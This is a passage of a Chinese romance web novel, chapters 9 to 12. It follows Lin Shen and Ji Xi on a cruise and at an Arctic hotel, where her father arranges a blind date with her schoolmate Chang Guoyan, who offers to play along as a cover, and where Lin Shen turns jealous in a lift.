林慎更加靠近旁边的热源,在寂静的环境里刻意屏着气,听对方细微的呼吸声。
其实他一直都在怀疑季西到底有没有醉,这个怀疑等到了季西出来说“我没醉”的那一刻被彻底粉碎。
她真的没醉,从头到尾都是在骗他。
只是季西到底是从什么时候开始认出他的呢?
是她在舞会上说她醉了、暗示他送自己回房间的时候?
是和他跳第一支舞、他问是谁教她跳舞的时候?
还是更早——在她和常过言跳舞时,跟他对视上的时候。
其实林慎觉得不止。
季西进到宴会厅时目的十分明确,像是在找什么人似的。
她进了舞池,但不是为了跳舞,而是这样的动作更方便她找人。
再结合后面,他上去邀请她跳舞,季西答应得很快,而且在跳舞途中对他的问题没有丝毫不耐烦的样子。
林慎确定了。
她找的就是他。
林慎翻身,和季西的睡脸对上。
他在黑暗中,细细描绘过面前人的脸,不肯放过一丝细节。
所以后面那些话和行动,都是对准他一个人的。
只对他一个人这样做。
想到这里,林慎忍不住勾了勾嘴角。
其实他发现季西并没有醉时,有挣扎过要不要回来。
这样的挣扎不超过一秒他就投降,并且还给自己找了借口。
反正醉的是季西,她醉了,那她说什么都是醉的,不存在清醒的可能性。
更何况,他还可以第二天早上趁季西没醒之前偷偷跑掉……虽然现在不可以了。
但审判到达之前,他还可以拥有这样一个晚上。
就算明天天亮之后,得到的是惩罚,他也甘之如殆。
林慎手轻轻搂过季西,把她搂在自己怀里。
季西感受到热源,还更往他怀里埋深一点。
林慎很艰难地入睡了。
夜幕越来越深,船平稳地行驶时,直到一抹光亮突破黑暗,给世界带来光明。
天亮了。
昨天林慎睡得比季西晚很多,但早上他硬是醒了。
他向来睡得少,但这次睡得时间太短,再加上他正处于血气方刚的年纪,身体反应大,所以醒来时感觉自己浑身火气没处撒。
林慎睁着眼看天花板,几分钟之后才回神,侧头去看自己怀里的人。
根本看不见脸,只有一个毛茸茸的头顶,人正睡得香呢。
他心里的火气奇异般降下来,但身体上的火气更加旺盛。
低头看了眼自己,林慎觉得不太美观,翘起一只脚挡住反应。
他没打算起来,想和季西一起躺着,等她醒了再说。
季西说的,早上起来要看见他在旁边。
他很听话。
下一秒,季西突然扒到他身上,露出一个侧脸。
林慎没来得及高兴,因为季西的移动趋势是整个人都快覆盖在他身上。
他故意翘起来的脚都被踹平了。
不想饶她清梦,林慎侧过身,往后缩了一点。
没想到季西直接醒了,盯着他,语气相当不满:“你躲什么?”
9. 第 9 章
林慎有口难言,只好不躲。
他像个小白花一样,身体每一个地方都被恶霸占领了。
还说不出什么求饶的话。
林慎不动,趴在他身上的人也不动。
她醒了,林慎知道。
但是现在这个局面很难“自然”地醒来。
僵持片刻,季西先说话。
她抬头看他,有点无奈:“大早上的火气这么足吗?”
林慎抱住她,语气理直气壮,听不出什么害羞,“毕竟我很年轻。”
季西从他身上爬起来,问:“你要自己解决还是?”
还是?
林慎不是很懂这个还是是什么意思。
看懂了他的困惑,季西平淡道:“我帮你?”
林慎脸红。林慎当然选:“你帮我。”
季西凑上前,捂住他刻意睁大的眼睛,手从他的腹部往下摸。
林慎浑身紧绷,双手往后撑。
他受的刺激太大,有点扛不住,于是喘着粗气问:“季西……西,我想抱着你。”
季西西?
季西被这个称呼雷了一下,而后又接受了。
她松开捂着林慎眼睛的手,绕过他的脖子,去抱他。
就在两个人都很紧张的时候,一阵叮呤咣啷的铃声响起。
季西顿了一下,认出这是她给自己爹的专属铃声。
她叹了口气,搂着林慎脖子的手去够手机,另一只手则是在林慎腹肌上擦了擦。
“我接个电话先。”
林慎努力平息着自己的呼吸,避免打扰到季西。
他不知道这是谁打来的电话,但是季西听到这个铃声停下时,有一点无奈的感觉。
会是什么人打来的电话,才会让她露出这种表情?
林慎此刻大脑一片浆糊,生理本能和理性思考在天人交战,最终还是败下阵来。
他挫败地抵着季西,垂下眼,盯着自己的生理反应,不知该如何做好。
季西接通了。
没想到季父张嘴的第一句话就是问:“你没有和林慎在一起吧?”
什么意思?
季西呼吸一滞,碰了碰身边的人。
旁边人肌肤战栗,呼吸一下变得深重起来。
看来林慎离开公司总部的消息传到他母亲那里了。
否则她父亲不会知道。
季西淡定自若道:“没有啊,他不在公司上班吗?”
“哦。”季父的语气一下就冷淡下来了,“别那么关心他。你能不能早些回来?”
“我在船上。”季西说:“航行的日子是定好的,没办法改。”
“行吧。”季父道:“我给你推个人,你先跟他聊一下,回头你回来了我做主让你们见见。”
季西不说话。
她皱眉,再开口时语气非常不满:“你都没有提前问过我的意见。”
“现在不就是提前跟你说了吗?你这是态度?”季父听出她的不满,也一下变得强硬起来。
他没等季西说话,又开口:“反正你必须得加,你们俩背景差不多,应该会很有共同话题。”
季父强调道:“比起林慎来说好多了,你们之间没有可能的。”
季西沉默下来。
电话里没有再说话的人声,她放下来一看,季父已经挂掉了。
这么一通电话打下来,季西情绪没有刚才的平静,反而显得有些失落和难过。
她放空了一会,回过神,看见林慎正很认真地盯着她。
季西低头看了一眼,勉强提起一个笑道:“继续?”
林慎摇摇头:“别管它了。”
他搂住季西,安抚地轻拍了拍她的背。
“可以亲亲你吗?”林慎低声问。
季西没反应,半晌才点点头。
于是林慎的吻星星点点地落在她脸颊上,还吻了吻她的手。
他还吻在她的后颈上,很轻,让季西瑟缩了一下。
“有点痒吗?”
季西听清楚他的话,露出一个笑脸,“有点。”
“好吧。”林慎也笑,“那不亲了。”
感觉到对方情绪好很多,林慎思索再三,还是开口问:“是有什么事吗?”
他其实没有身份立场问,哪怕是戏称的“哥哥”。
但是他还是想知道。
果不其然,季西蹭着他,小幅度地摇了摇头,不打算跟他说。
林慎已经猜到这个结果,但还是有些悲伤和生气。
真奇怪,他对季西居然还有生气的情绪。
自从他们一直维持像现在这样的关系之后,林慎从来都是患得患失。
因为他根本留不住季西,也猜不透季西在想什么。
他没有身份。
虽然有些生气,但林慎并没有把它表现出来。
他抱着季西哄了哄,又低声问:“饿了吗?”
“要不要下去吃饭?还是叫服务生随便弄点上来。”
怀里的人安静一会,说:“下去吃吧。”
她问:“你公司里的事都安排好了吗?”
林慎说:“下去再说吧。”
两人收拾整齐,林慎又洗了个澡,出来时衣冠楚楚,看起来精致优雅。
刚才的情态已然不见。
他们下到餐厅,然后在取餐处拿了点鸡蛋和香肠,还有牛奶,又在靠窗边找了个位置坐。
日头正盛,光线透过海面深入海底,从窗户旁边看,显得海水特别蓝。
偶尔还有些小生物成群结队的路过。
林慎说:“我都处理好了才上来的。”
“哦。”季西松了口气,“亨考普呢?我记得你当时说你晕过去了,怎么了?”
林慎心说果然问了,理直气壮道:“那天身体有些不好,可能是受了凉的原因吧,第二天起来就感觉很不妙,本来打算撑一撑,等有空的时候再去找医生来看看,没想到没撑过去。”
季西不言语,低头插了个番茄吃。
就在林慎还以为就此结束的时候,她冷不丁地又问了一句:“怎么受的凉?”
林慎拿着刀叉开始切煎鸡蛋,闷声说:“就是着凉了。”
“你很年轻。”季西道:“你身体很好。”
“如果不是你非要让自己受伤,你不会在自己身上落下那么多受伤的痕迹。……对了。”季西突然想起来:“你的腿怎么样了?”
“你腿受伤着,还着凉,又跑到这边来……”
“好得差不多了。”林慎老实道。
这是实话,“我带了宋闻,虽然你走那天有点恶化的趋势,但是上了船之后反而有时间休养……虽然就一会会吧,不过腿上的伤本来就好得差不多了
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。”
“宋闻呢?”季西放下叉子,“我想问问他。”
林慎有些急眼了,“你可以当面问我,毕竟受伤的人是我!”
季西心平气和道:“你有前科。”
这话说出来,他立马蔫了。
回想起往事种种,发现自己确实前科很多。
“那也不用这么急吧?”林慎说:“先吃完饭再说,他估计还没起床呢。”
说得也有道理。
季西一口气把手边已经有些凉了的牛奶喝完,擦了擦嘴,没再说话。
她盯着林慎的动作,脑子在转。
现在已经可以基本确定,她在船上看到的那截腿是林慎的。
那更往前一点呢?
上船前她在便利店里看到的那行人……也是林慎?
这么说来,林慎算是跟她同一时间上的船。
她出发前并没有跟林慎说自己的行程——
“下次不要查我。”季西说,“你可以直接问,我会说的。”
林慎没有解释,他确实查了。
但是季西会不会说这件事倒是存疑。
他想起了刚才,他问季西发生了什么事的时候,季西摇了摇头,并不打算告诉她。
林慎有些委屈,抬头看着对方,试图让对方接受到自己的信号。
但是很可惜,季西眼神清澈,还有些疑惑,显然是不明白他为什么会露出这样的表情。
好吧。林慎放弃了。
他说:“不会了。”
他吃完了,“走吧。”
-
林慎和季西一起待过两天,要下船了。
这趟旅程还算平静浪漫,平静是指海面,浪漫是指林慎的感受。
他这两天嘴上时刻带笑,哪怕宋闻当着他的面,跟季西打小报告,控诉他作为一个病人有多不顾自己身体、多让一个医生担忧,他也不言不语,只是嘴角带笑。
搞得宋闻还以为他疯了,活了这几天就不活了。
但林慎并没有这样的打算。
他听了宋闻作为兄弟对他生命的担忧,不置可否,只是笑着说:“别逼我在这么幸福的时候抽你。”
当时宋闻嘴角抽了抽,然后满脸惹不起他的样子,速速离开。
船停在位于北极圈内的一个国家港口处,众人提着行李纷纷下船,在小雪悠扬中往酒店走去。
季西报的是自由行,包往返加酒店,自然也要跟着大部队走。
林慎一行人也跟着她,很快到了酒店。
他们领了房卡,确定房号,然后在电梯里分开。
宋闻和林慎助理住在下面的楼层,季西在船上升房了,酒店给的房卡是套房。
林慎则是跟她在同一楼层。
两人出了电梯,在空旷的走廊里寻找自己的房间。
不过这一楼层的房间数本来就不多,季西一眼就找到了。
她站在门口,跟对面的林慎说了声“晚上见”,随即打开房门,进去了。
把自己的东西放置好,季西倒了杯水喝,顺便看手机,发现常过言在十几分钟前给她发了几条消息。
正要点进去细看,熟悉的铃声响起,来电显示占满整个界面。
季西看着备注为“季教授”的电话,轻轻闭了闭眼。
她随便找了个椅子坐下,手指上滑,接通了。
10. 第 10 章
“西西。”算得上平和的声音传来,听得季西微微瞪大了眼睛。
对面的人继续道:“爸给你的推的那个人你怎么没加?”
季西说:“忘记了,我等会就加。”
还以为季父会就此挂断,没想到他又说:“爸爸跟人交流过,人小伙子挺好的,谦逊懂礼貌,我说出你名字的时候,他还说见过你呢。”
“啊?”季西下意识发出疑问。
季父说:“叫常过言,你跟他熟不熟?”
季西听到这个名字,还怀疑自己是不是听错了,重复一遍:“常过言?”
“对的。”季父敏锐地察觉到她语气变化:“你跟他说过话?”
“还好吧。”季西语气冷淡下来,已经不想再聊下去了。
但是她还是要搞明白为什么是常过言。
她觉得常过言不是这种人。
“你有跟人家说是相亲没有?”
“没有明说。”季父顿了一下,接着道:“不过年轻人都懂的吧,用不着讲这么明白。”
“我不觉得人家明白了。”季西说。
她本来还想说人家已经有喜欢的人了,但是碍于季父的性格,没说。
“你为什么这么说?”季父道:“你已经跟他交流过了?不应该啊,他说没有啊。”
季西直截了当地问:“你找的是什么理由?”
季父懵了:“我说你们俩年纪相仿,可以互相交流交流,年轻人之间有话题。”
季西明白了。
常过言估计应该是长辈撮合,碍于她爸的面子才没有明说拒绝。
但是她对季教授的询问顺序表示怀疑。
“我等会会加的,挂了。”
通话结束,跳出常过言的讯息。
“现在可以见个面吗?我有事跟你说。”
季西不太清楚常过言要说的是不是刚才季父说的事。
她回道:“可以,哪里?”
对方只发来五个字:“二楼咖啡厅。”
季西回卧室拿了帽子,给自己戴上。
二楼咖啡厅。
此时人很少,季西下来时,一眼就看见了坐在窗边的常过言。
自从那次“醉酒”之后,他们没再见过面。
按理来说她是没有记忆的,所以现在过去见到常过言也没有什么尴尬。
问题就在于她记得,而且还叠加了buff。
对方现在名义上是她的发展对象。
不管怎么样,季西还是坐下来,十分淡定地和对方打了个招呼。
“晚上好。”
常过言见到她,露出笑脸,也说:“晚上好。”
他把菜单放到她面前,问:“要喝点什么?”
“热拿铁。”季西说。
常过言把服务生叫过来,用英文点了一杯热拿铁和一杯冰美式。
说完顿了一下,还点了一块切块蛋糕。
草莓的。
季西喝了口水。
等到服务生离开,她主动问道:“是为了加联系方式这件事吗?”
常过言面上笑容有些细微的变淡,他说:“有一部分是吧。”
不过既然季西主动提起了这件事,常过言也就顺道说了下去。
“季教授研究方向和我专业匹配度挺高的,所以我保研时主动去联系了老师,因此有了联系方式,没想到你们……居然有这种关系。”
常过言在学校里确实很优秀,如果毕业了是可以被发推文的程度。
季西也知道她爸的研究方向,不过她并不了解常过言自己有什么打算,也就没想到他们还能联系到一起。
最惊悚的是和她的相亲对象联系在一起。
她爸也挺饥渴的。
季西说:“不好意思,给你造成了这种困扰。”
她扶了扶额,“季教授对我的结婚状态确实颇有微词,但是我没想到他还能找到你这里……没有吓到你吧?”
常过言闻言只是摇摇头,“哪里会?我只是觉得有点疑惑,看到老师给我推的联系方式是你之后,也就感觉还挺不错的。”
“我并不觉得唐突,只是……”常过言停顿一下,还是问出口:“我想知道老师他知道你有男友吗?”
男友?
季西反应过来,对方这个“男友”,大概率指的是林慎。
虽然她跟林慎并没有名义上的男女朋友关系,但是否定的话似乎也不太好解释他们之间的关系。
况且,那两天时间里,她都和林慎待在一起,如果常过言不小心看到的话,应该也会默认为他们之间是男女朋友的关系。
想到这里,季西说:“他知道。”
没等对面人说话,季西又接着道:“但是他并不满意我现在的男朋友,所以才那么急。”
常过言的表情一下变成了无奈。
“家长都是这样的。”他委婉安慰道,“你也不用太难过了。”
季西摇摇头,并不说话。
常过言说:“这样吧,也幸好找到的是我,我就不跟老师说拒绝的话了,当做我们还在互相了解的样子,这样我跟老师好交代,你也可以和你男朋友继续在一起,不至于分手。”
服务生端着咖啡和蛋糕上来,把热拿铁和蛋糕放到她面前。
常过言问:“怎么样?”
季西表情错愕,有些不理解:“这样……学长你能接受?”
“我没所谓,不急着这件事。”常过言端起美式喝了一口,他说:“不过之前不是说好了要叫名字吗?你怎么又叫我学长。”
季西莞尔一笑,说:“是我叫顺口了,常过言。”
常过言这才收了假装严肃的表情,指了指蛋糕说:“这是点给你的,刚刚下船挺累,你稍微吃点补充体力吧。”
“谢谢。”季西说。
她先喝了口热拿铁,才从尖尖的角挖一块下来吃。
然后就放下了叉子,没再动。
常过言知道她没什么心情吃。
本来他该离开了,毕竟该说的事已经说完,但是没忍住,他还是问了一嘴:“我想问问……你男朋友跟你哥哥的关系?”
季西抬眼看他,他又涨红了脸,摆摆手,“我就是……”
没等他说完,季西道:“他比我大,叫着玩的。”
“哦哦。”常过言不知道该说什么了。
他刚刚问的问题实在太唐突,弄得他现在坐在这里坐立难安。
常过言站起来,说:“那就先这样吧,我还有点事,先回去了,到时候老师问我的话,我就说我们聊得还不错,可以吗?”
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季西也站起来,点点头,“麻烦你了。”
“没事。”常过言摆摆手,看出她要跟着自己走,于是道:“你要是还想坐会的话就再坐会吧,我直接回房了。”
季西确实想再坐会,于是笑了下,说:“那我再坐会。”
她看着常过言仍然耳朵通红地离开,转身坐下。
桌上吃的喝的都没再动,她只是不想回去。
常过言的反应出乎她意料之外,不过要是要她说出常过言该是什么反应的话,她确实也说不出来。
对方对她的感情已经摆在明面上了,是个人都看得出来。
但季西不知道为什么。
他们很少来往,联系方式也是因为有事才加。
大概是看出她并不想谈恋爱,对方才没有主动打扰过多,只是在社团里活动时才会搭话。
就算是要送东西也是借着送全社团才能送到她手上。
季西没有找到拒绝的机会。
刚才她可以拒绝。
但是她没有。
季西慢慢拿起叉子,叉下面前一块,看了很久。
就连她自己都不知道她想做什么。
和林慎保持着现在的关系是错误的。
没有拒绝常过言的提议是错误的。
跟林慎是她想暂时闭上眼睛和耳朵,在对方怀里找一个避风港,可以不听季父说话的避风港,但是这样真的能解决问题吗?
不能。
不过常过言的提议给她解决了很大麻烦。
季西把叉子放下。
蛋糕太冰了,不是很合她口味。
她坐在位置上,慢慢把拿铁喝完,才上楼回房。
在她回来之后几分钟,对面的人过来敲门了。
不知道为什么,季西感觉这两天跟林慎呆在一起,林慎给她的感觉非常紧绷。
就连现在的敲门声也带着紧绷的感觉。
季西不知道怎么形容这种感觉,但她莫名很不舒服。
这种不舒服的感觉来得毫无头绪,季西站起来,去开门。
林慎站在门外,垂眼跟她对视上。
“要去吃饭吗?”他问。
季西打开门,让他进来。
“等会吧,你饿了吗?”季西说。
等了会,身后的人并不回答。
季西反应过来,转身面对着他,问:“你刚刚来敲门了?”
林慎撇开眼,只是说:“没有。”
察觉自己回答的不清楚,他又补充道:“没有敲门。我现在还行,想等你去吃饭。”
那就是敲了。
“我刚刚跟常过言去聊了点事情。”季西慢吞吞道。
过了会,她说:“聊了点学校的事。”
“哦。”林慎整理好情绪,说:“你现在不饿吗?”
“还行,我刚才喝了点热拿铁。”季西老实道。
她不管林慎,没打算给他拿水喝,自己弄自己的。
其实大部分都整理好了,只是季西在考虑衣服怎么放。
房间里有衣柜,按照季西的习惯来说,她肯定是要把衣服拿出来挂着的。
这次会在这里停留10天,挂出来方便拿,衣服也不会皱。
但是问题就在于,林慎怎么办?
11. 第 11 章
季西盯着空荡荡的衣柜,思考半晌,最后选择把自己的衣服都挂进去。
她带的衣服挺少,全部挂上去不过也只占了衣柜的一小部分,刚才担心的事根本没意义。
季西收起行李箱,换了一件外套,往外面走。
林慎还坐在沙发上,见她出来,收起手机,盯着她。
季西问:“公司的事?”
林慎摇摇头。
季西说:“吃饭吧,你要不要换一件衣服?我吃完饭想出去走走。”
林慎现在穿着黑色的套头毛衣,在酒店里倒还好,出去的话可能会冷。
“换。”
季西走在前面,打开门,一边问道:“你那边的行李收拾好了吗?”
“好了吧。”林慎刷开自己的房门,脚步极快,季西还没走到客厅他就拿着衣服出来了。
好像是故意不让她进去一样。
季西当然如他所愿,并没有进去。
林慎的衣服拿出来了,没有穿,只是搭在手上。
季西认出来是,他今天下船时穿的那件。
海上风大,虽然她不知道外面怎么样,但是这件对林慎来说是不是太热了?
季西面上淡淡,跟他一起走进电梯。
餐厅在二楼,咖啡厅的对面。
天早就黑了,路边路灯星光点点,能看见飘落的雪花。
季西看了一会,被林慎碰碰肩膀。
林慎问:“想吃什么?”
季西摇摇头:“给我随便点个沙拉吧,不是很饿。”
林慎给她点了沙拉,又点了热牛奶。
她仔细聆听对方跟服务生的对话,发现对方点了两块牛排。
除此之外,还有其他一些,林林总总。
对于林慎的胃口来说,倒也正常。
热牛奶先端上来。
季西脱下手套,先试探地摸了摸杯壁。
很烫,适合她慢慢端着喝。
她挺喜欢这样。
让她感觉很放松。
放松的季西又偏头看向窗外,却在问林慎:“你喜欢这样吗?”
“嗯?”林慎的声音慢半拍响起,有些沙哑。
他问:“这样是怎样?”
“嗯……”季西慢吞吞地,“在一个没有任何人认识你的地方缓慢地活着。”
“还行。”林慎问:“你喜欢这样。”
是肯定句。
季西笑了一下,承认了:“我确实喜欢。”
这样不用被别人假言假语地关心,多好啊。
也不用再听见“你死了多好啊”这样的话。
呆在这里,就可以当做是真的死了。
她倏地清醒,看见透明的窗户上她的脸。
视线再一抬,和身后的林慎对上了。
季西对他弯起眉眼。
“你可以告诉我,”她停顿一下,移开视线,“你到底喜欢我什么吗?”
大概是声音太小,林慎没有听清楚,他往前靠了点,季西能感受到他身上的热量。
她转过身,抬头看他,很认真,“你喜欢我什么?”
林慎盯着她,一时间没有言语。
在季西的视线下,他开口,艰难地组织语言:“……喜欢你身上的味道,还有……”
他摇摇头,随即靠在她肩上,泄气一样:“我不知道啊。”
“怎么会不知道?”季西蹙起眉。
她觉得一切喜欢都是有原因的。
所以她要林慎也给她原因。
“我觉得很安心,”林慎说:“跟你待在一起。”
如果在她身边觉得安全的话,也算是喜欢的理由吧。
季西想。
但是这种喜欢可以发生在很多关系里面,不仅是情侣关系。
她得到了一个答案,就不再追问。
正要问别的,林慎又开口了。
“还有的就是喜欢吧。不知道怎么跟你解释。”趴在她身上很舒服一样,林慎再开口时懒洋洋的,“如果非要形容的话,我想跟你嵌在一起。”
这听起来太惊悚了。
季西拍了拍他的脸,语气被他传染,“别发疯。”
“我没有。”林慎狡辩。
季西捏了捏他的脸颊,懒得和他争辩。
她突发奇想道:“如果我变成了一只蟑螂,你还会喜欢我吗?”
季西自顾自想象起来,想到林慎和一只蟑螂深情脉脉地对视,憋不住地笑出了声。
林慎坐直起来,显然很认真地在想这件事。
听见她笑,也跟着笑起来,只是仍然在想。
“嗯……我不能也变成蟑螂吗?我想跟着你混。”林慎故作高深道。
季西很严格:“不能。我是蟑螂,你是人。”
“好吧。”林慎蔫了。
他又振作起来,仔细畅想起来:“如果你变成了蟑螂,我还会不会爱你……不好说。”
“如果你不给我一点线索的话,我可能没办法在那么多蟑螂里面认出你来。”他摊摊手,“不过要是真的认出你来了,我就好好的养着你。如果可以的话,我要去哪里都带着你。”
季西觉得他这么认真的样子很搞笑,冲他笑得见牙不见眼。
林慎看她笑得这么开心,心情也不由自主变好了很多。
沙拉和牛排刚刚就上了,林慎一边等季西笑完,一边把其中一块比较嫩的牛排切成小块,方便入口的大小,接着趁季西抬头要跟他说话的时候,插了一块放进她嘴里。
季西下意识咬住,才反应过来林慎往她嘴里喂了什么。
她一边吃一边捏林慎的腰,在对方转过脸跟她赔笑的时候瞪他。
“等会还要出去呢,吃冷的不太好。”林慎龇牙咧嘴地说:“而且这个挺好吃的,很香啊,待会你要是吃不完的话就给我吃好了。”
林慎说的确实没错。
而且多亏这块肉,季西好像有点胃口了。
她从林慎手里拿过叉子,自己吃起来。
吃饭时他们就不再说话,两人之间一时只有刀叉碰撞的声音偶尔响起。
季西吃完了一整块牛排,还吃了一些其他的菜,那些沙拉就吃不下了,当然是交给林慎解决。
不过她还是觉得有些腻,从沙拉碗里插了点带高级沙拉酱的球生菜。
吃得差不多,她放下餐具,喝了口旁边放着的热水。
林慎吃饭也很快,季西还没喝两口水,他也放下了餐具。
季西吃饱了,感觉心情愉悦很多。
但是有点吃撑了,她说:“先坐会。”
林慎盯着她,带着笑:“吃撑了?”
季西点点头。
她摸摸自己的肚子,快速扫过四周,发现没有人关注他们之后,又去摸了摸林慎的肚子。
“你吃饱了吗?”季西有些怀疑。
“还行吧。”林慎语气轻松。
她不信邪,又摸了摸。
对方小腹一片平坦,隔着衣服摸不到腹肌形状,但是平坦到这种程度,想必线条还是在的。
季西看看身边的人,又低
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头看看自己,发觉可能是姿势的问题。
她坐直了,又摸摸自己。
虽然没有像刚才那么饱满,但还是有点鼓。
想想对方天天下班了还去健身房打卡,肉紧实程度肯定比不上。
季西放弃了。
她站起来,不再纠结这个:“走吧。”
林慎忍俊不禁,替她把后背的衣服拉直了。
他们从酒店正门出去,顺手带了把伞。
虽然雪很小,但是他们都没有带帽子,雪落在头发上会融化,回去季西又要洗头了。
她昨天才洗过。
这个国家不算大,但是因为常住人口不多,所以街上显得很空旷。
他们沿着路灯的方向往前走,看到街边有很多小店,但是都关门了。
“怎么都关门了?”季西道:“我在网上查的攻略不是这样的。”
林慎也不清楚,只是跟着她的脚步,停在一家店前,看她研究门店上写了什么。
应该是研究无果,季西脚步又往前,林慎就这样跟着她。
她走他就走,她停他就停。
伞永远在她头上,雪落不到她身上。
林慎正走在她身边,察觉到她停下脚步,于是也跟着停下。
面前居然是一家还开着门的小店。
“进去看看?”他问。
季西点点头,拉着他进去。
这家店其实是便利店,还是连锁的,难怪这么晚还开着。
季西进去,里面是个女孩。
她冲她笑了一下,然后在店里逛起来了。
里面的商品和国内都差不多,一眼扫过去都是熟悉的东西。
季西拉着林慎站在冰柜前,问:“你想吃冰的吗?”
林慎抓住她的手,不让她下去拿。
他问:“要什么口味?”
“椰子灰的试一下,还有小布丁。”季西左右看了看,除了这两种之外,剩下的包装没见过,上面的字也看不懂。
她掏出手机,拍照翻译。
“特色口味?”季西放大,看了看里面那个包装。
林慎凑近看,“拿两个吧?”
“行。”季西缩小,放大每个雪糕的翻译。
“这个来一个,那个也来一个……就这样吧。”她收起手机。
林慎抱着她那一堆“战利品”走到柜台,用英语说:“结账。”
前台一个一个扫过,最后装进袋子里,提给他们。
季西要拿,林慎没给。
“回去了再拿给你,今晚跟你一起吃。”
刺啦。
季西撕开一个,跟着林慎走到小厨房。
这里有冰箱,她看着林慎也拿了一个,接着把剩下的都好好放进冰箱里。
“只吃一个好吗?”林慎关上冰箱门,说。
季西装作没听到,啃冰块啃得很开心。
林慎看了眼她,知道她是故意的。
于是两人坐在沙发上,各自安静又迅速地啃完了自己的那个。
林慎不动,季西也不动。
僵持片刻,林慎说:“吃多了会拉肚子。”
“我不会。”
话被堵死,又安静片刻。
季西忍不住赶人了。
“我有点困了,你回去吧。”
说到这个,林慎扭头看了她一眼。
他没说话,季西忍不住问:“你什么意思?”
“没有。”林慎低头扣了扣自己的裤腿,然后纯洁地问:“我们还一起睡吗?”
12. 第 12 章
季西:“……”
她沉默半晌,说:“我记得你有床睡。”
“床上空空的。”林慎迅速抬眼又迅速垂下,“而且我都跟你睡两个晚上了,你不觉得很暖和吗?”
这个确实是没法否认。
季西摸了摸鼻子,“床上有枕头有被子,哪里空了。”
林慎趁她不注意,亲了一下她,接着正襟危坐道:“没有你不就是空空的。”
季西对他这种行为非常无语,对他进行死亡凝视。
林慎面不改色,“怎么了。”
季西忍不住骂他,“你真是死皮赖脸的,少来这一套。”
“好吧。”他垂了眼,看起来有点委屈的样子。
季西看他这样,干脆给他来了一巴掌。
清脆地“啪”一声,落在林慎裸露的手背上,很快红起来了。
尤其是他皮肤白,更显得明显。
季西抬眼看他,正好看见他垂下来的睫毛,盖住了大半眼睛,鼻梁挺直,唇薄色红,左脸颊中央还有颗痣。
小小的很吸引人。
季西没忍住上手摸了摸。
林慎完全不躲闪,只是抬眼,睫毛下的眼睛彻底露出来,瞳孔很黑。
他盯着季西,忽然笑了一下,说:“我发现你很喜欢这里。”
他的手覆上季西的手,脸颊彻底靠在她手心。
“今晚一起睡嘛。”他撒娇道。
季西无意识道:“好。”
过了一会,她反应过来对方说的什么,自己又回答了什么。
季西暗自懊恼着,面上不显,只是把自己的手挣脱出来,风轻云淡道:“去洗澡吧,洗完澡过来。”
“好!”林慎立马站起来,转身要走,又怕她反悔一样,朝她伸手:“房卡给我。”
季西毫无表情地抬脸看他。
林慎坚决不退让,依然朝她伸着手。
她感到有些头疼了,于是说:“去拿去拿,在门口。”
“我最爱你了西西——”对方趁她不注意,又弯腰亲了一口。
没等季西开口骂他,他已经丝滑地出去了。
很快,季西听见门开门关的声音。
但是没过一分钟,门又开了。
她没动,以为是林慎又要说什么。
可是她听见了轮子骨碌碌滚动的声音。
季西有点疑惑,偏头看去,刚好看见林慎拉着自己的行李箱进来。
她还没说什么,对方脚步极快,已经走进卧室,扔下一句:“我现在就洗澡。”
-
第二天起来的时候已经是下午一点。
季西先醒,她醒来时饥肠辘辘,感觉饿晕。
拉着林慎去餐厅找吃的,他还不是很清醒,在电梯里时靠在季西肩上,还想再睡的样子。
“昨晚不是睡得挺早的吗?”季西疑惑,“怎么困成这样。”
林慎恹恹地“嗯”一声,没说话。
跟季西一起睡觉,对他来说,其实算一种甜蜜的烦恼。
甜蜜在于一起,烦恼在于只是睡觉。
他好歹也算个正值青年的血气方刚的男人,能遭受得了这种待遇吗?
还是能的。
只是有点代价,睡不好觉而已。
他困倦地不想抬头,半梦半醒间察觉电梯停下,但季西没动,他也就没有抬头。
直到进来的人跟季西打了声招呼——还是男的。
林慎依然没有抬起头,他一动不动,像个哨兵一样,从两人的对话里,侦查对方的信息。
进来的人是常过言。
他进来时第一眼看到的是季西,惊喜地打了个招呼:“季西?好巧,是去吃饭吗?”
季西也很意外,说:“是啊,真的好巧,你也去吃饭吗?”
“是啊。”常过言隐蔽地抬眼,看见季西肩上挂着的一个男人。
他不动声色道:“旁边这位是?”
季西这才反应过来。
林慎在她身上靠久了,她已经习惯肩上的重量。
她道:“我哥。我们一起去吃饭。”
“哥”字一出,她立马察觉肩上的人脑袋动了动。
季西赶紧支起胳膊肘往后怼了怼,意思是让他起来。
林慎不起。
常过言说:“哦……”
他话音一转,说起季父:“昨天回去我已经跟老师说了,他今早上才回我,你有收到消息吗?”
聊起这个,季西也不顾身上的人了,“收到了,不过我还没有回,晚点他应该还是要打电话过来问我的。”
常过言笑了笑,“好,到时候你打完电话,有什么需要补充的信息,再跟我说一声,免得到时候我们俩说的不对,引起怀疑。”
“行。”季西点点头,“谢谢你,常过言。”
常过言摆手。
电梯里安静下来,上方屏幕的数字跳到4,还在往下跳。
就在季西以为话题到此结束时,她感觉腰间好像缠上了一双手。
再偏头一看,林慎已经醒了,下巴立在她肩上,侧脸对着她。
“是什么事啊?”林慎懒洋洋的声音在密闭空间里不大不小地响起来。
季西刚要摇头,就听见常过言说:“林先生,好久不见。”
林慎好像一副才发现他的样子,惊讶道:“是你,我记得你。”
“常过言,季西的学长,对吧。”
他说完,也不去看对方的表情,双手又用了点力,把季西往自己怀里压。
他问季西:“你刚刚在和这位常先生说什么呀?”
“亲爱的。”林慎叫道。
季西察觉林慎情绪不是很对,她对他的称呼有些诧异。
对方从来都没有这样叫过她。
季西说:“我等会再跟你说。”
“叮”。
电梯到达二楼,门打开。
季西要走,林慎脚步不动。
她撤出去的脚只好收回来。
常过言见状,也没有走。
察觉到季西此刻心情并不美妙,林慎软了,他刚要说话。
“没什么事。”常过言道:“就是老师布置的一些任务,刚好我们交流一下而已。”
“谢谢你的解释。”林慎笑了,“原来你跟季西是一个老师。”
常过言点点头。
电梯门快要关上,他主动道:“我先出去了。回见。”
季西跟他再见,身后的人并不说话,气场沉沉。
人走了,季西还盯着,直到门关上,屏幕上仍然显示在二楼。
她拍了拍林慎的手,让对方松开,又按下开门键。
门重新打开,季西率先走出去。
林慎紧接着跟上。<
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她不说话,林慎说。
对方这个时候倒是很委屈,跟她撒娇:“你们刚才在说什么呀。”
季西站定,转过身,先是盯着他,然后又把他拉到隐蔽的角落。
她声音冷淡,“你刚刚怎么回事。”
林慎比她高,低着头看她。
一般人低头眼睛都不会睁大,都是半颌着眼,林慎不一样。
他就算是这个姿势,依然把自己的眼睛睁到最大,显出一副楚楚可怜的架势,让人舍不得训他的样子。
